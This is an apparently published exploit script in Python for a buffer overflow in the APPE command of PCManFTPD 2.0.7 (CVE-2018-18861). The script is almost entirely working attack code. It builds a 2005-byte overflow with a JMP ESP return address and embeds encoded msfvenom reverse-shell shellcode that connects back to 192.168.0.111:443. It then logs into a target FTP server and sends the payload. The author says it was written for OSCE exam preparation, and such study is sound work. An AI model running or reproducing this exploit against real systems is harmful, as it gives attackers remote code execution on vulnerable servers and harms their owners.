PCManFTPD 2.0.7 Server APPE Command Buffer Overflow

`#!/usr/bin/python  
# Exploit Title: PCManFTPD 2.0.7 Server APPE Command - Buffer Overflow Exploit  
# Date: 30/10/2018  
# Exploit Author: DC - Telspace Systems  
# Vendor Homepage: http://pcman.openfoundry.org/  
# Contact: services[@]telspace.co.za  
# Version: 2.0.7  
# Tested on: Windows XP Prof SP3 ENG x86  
# CVE: CVE-2018-18861  
# Created in preparation for OSCE - DC - Telspace Systems  
# Simple BOF for APPE command in PCManFTPD 2.0.7  
  
import socket  
import sys  
  
#Exact match at offset 2005 (MSF pattern find)  
#JMP ESP = 7E429353 (user32.dll)  
#shellcode thanks to MSF - msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.111 LPORT=443 -f c -a x86 --platform windows -b "\x00\x0A\x0D\xff" -e x86/shikata_ga_nai  
  
shellcode = '\x41' * 2005  
shellcode += '\x53\x93\x42\x7e'  
shellcode += '\x90' * 50  
shellcode += ("\xbe\xa3\x2b\xb0\x95\xda\xd4\xd9\x74\x24\xf4\x58\x31\xc9\xb1"  
"\x52\x83\xc0\x04\x31\x70\x0e\x03\xd3\x25\x52\x60\xef\xd2\x10"  
"\x8b\x0f\x23\x75\x05\xea\x12\xb5\x71\x7f\x04\x05\xf1\x2d\xa9"  
"\xee\x57\xc5\x3a\x82\x7f\xea\x8b\x29\xa6\xc5\x0c\x01\x9a\x44"  
"\x8f\x58\xcf\xa6\xae\x92\x02\xa7\xf7\xcf\xef\xf5\xa0\x84\x42"  
"\xe9\xc5\xd1\x5e\x82\x96\xf4\xe6\x77\x6e\xf6\xc7\x26\xe4\xa1"  
"\xc7\xc9\x29\xda\x41\xd1\x2e\xe7\x18\x6a\x84\x93\x9a\xba\xd4"  
"\x5c\x30\x83\xd8\xae\x48\xc4\xdf\x50\x3f\x3c\x1c\xec\x38\xfb"  
"\x5e\x2a\xcc\x1f\xf8\xb9\x76\xfb\xf8\x6e\xe0\x88\xf7\xdb\x66"  
"\xd6\x1b\xdd\xab\x6d\x27\x56\x4a\xa1\xa1\x2c\x69\x65\xe9\xf7"  
"\x10\x3c\x57\x59\x2c\x5e\x38\x06\x88\x15\xd5\x53\xa1\x74\xb2"  
"\x90\x88\x86\x42\xbf\x9b\xf5\x70\x60\x30\x91\x38\xe9\x9e\x66"  
"\x3e\xc0\x67\xf8\xc1\xeb\x97\xd1\x05\xbf\xc7\x49\xaf\xc0\x83"  
"\x89\x50\x15\x03\xd9\xfe\xc6\xe4\x89\xbe\xb6\x8c\xc3\x30\xe8"  
"\xad\xec\x9a\x81\x44\x17\x4d\x6e\x30\x17\xe2\x06\x43\x17\xfd"  
"\x6d\xca\xf1\x97\x81\x9b\xaa\x0f\x3b\x86\x20\xb1\xc4\x1c\x4d"  
"\xf1\x4f\x93\xb2\xbc\xa7\xde\xa0\x29\x48\x95\x9a\xfc\x57\x03"  
"\xb2\x63\xc5\xc8\x42\xed\xf6\x46\x15\xba\xc9\x9e\xf3\x56\x73"  
"\x09\xe1\xaa\xe5\x72\xa1\x70\xd6\x7d\x28\xf4\x62\x5a\x3a\xc0"  
"\x6b\xe6\x6e\x9c\x3d\xb0\xd8\x5a\x94\x72\xb2\x34\x4b\xdd\x52"  
"\xc0\xa7\xde\x24\xcd\xed\xa8\xc8\x7c\x58\xed\xf7\xb1\x0c\xf9"  
"\x80\xaf\xac\x06\x5b\x74\xdc\x4c\xc1\xdd\x75\x09\x90\x5f\x18"  
"\xaa\x4f\xa3\x25\x29\x65\x5c\xd2\x31\x0c\x59\x9e\xf5\xfd\x13"  
"\x8f\x93\x01\x87\xb0\xb1")  
  
print "Connecting and sending buffer...\n"  
  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
connect=s.connect(('192.168.0.3',21))  
s.recv(1024)  
s.send('USER anonymous\r\n')  
s.recv(1024)  
s.send('PASS anonymous\r\n')  
s.recv(1024)  
s.send('APPE ' + shellcode + '\r\n')  
s.close()  
  
print "Executed, check for shell."  
`